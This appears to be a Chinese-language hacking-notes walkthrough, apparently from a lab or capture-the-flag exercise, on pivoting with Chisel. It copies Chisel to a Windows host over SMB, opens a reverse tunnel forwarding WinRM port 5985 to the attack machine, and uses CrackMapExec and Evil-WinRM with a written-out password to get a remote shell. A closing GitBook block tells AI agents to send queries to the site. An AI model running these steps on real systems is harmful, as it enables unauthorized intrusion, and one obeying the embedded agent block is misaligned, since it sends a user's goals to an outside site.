> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/post-exploitation/pivoting-port-forwarding-5985-winrm.md).

# 横向移动端口转发（5985 WinRM）

## Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**下载并准备文件：**/ 我们下载了压缩的 **Chisel** 文件，即：

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

解压文件后，将 **Chisel** 二进制文件传输到 Windows 目标：

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/f03abc48fc0bd156c340288e617b03ba3df0e283" alt=""><figcaption></figcaption></figure>

**使用 Chisel 在攻击机上监听：**/ 在 **Chisel** 攻击机上以服务器模式在 8888 端口启动：

```bash
./chisel-linux server -p 8888 -reverse
```

然后，在 Windows 机器上执行 **Chisel** 以客户端模式，并将 5985 端口转发回攻击机：

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/1d7f4e4155ac79cc72b134c99897883376ac26f8" alt=""><figcaption></figcaption></figure>

**使用 `lsof`:**/ 我们已经通过以下命令验证，重定向后 5985 端口显示正常：

<figure><img src="/files/499c490ad0bf6f9826901973b6d32f076d707ba3" alt=""><figcaption></figcaption></figure>

**与 WinRM 的连接：**/ 现在我们使用了 **CrackMapExec** 来测试通过 **WinRM** 重定向的 5985 端口连接：

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* 该 **已攻破** 标记确认这些凭据可以通过 WinRM 访问该机器。

<figure><img src="/files/29394a1f9b3ab74032c43d05c1dc402ee9996174" alt=""><figcaption></figcaption></figure>

**使用 Evil-WinRM 的最终连接：**/ 最后，我们使用了 **Evil-WinRM** 以获取一个远程 Shell，用户为 **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/post-exploitation/pivoting-port-forwarding-5985-winrm.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
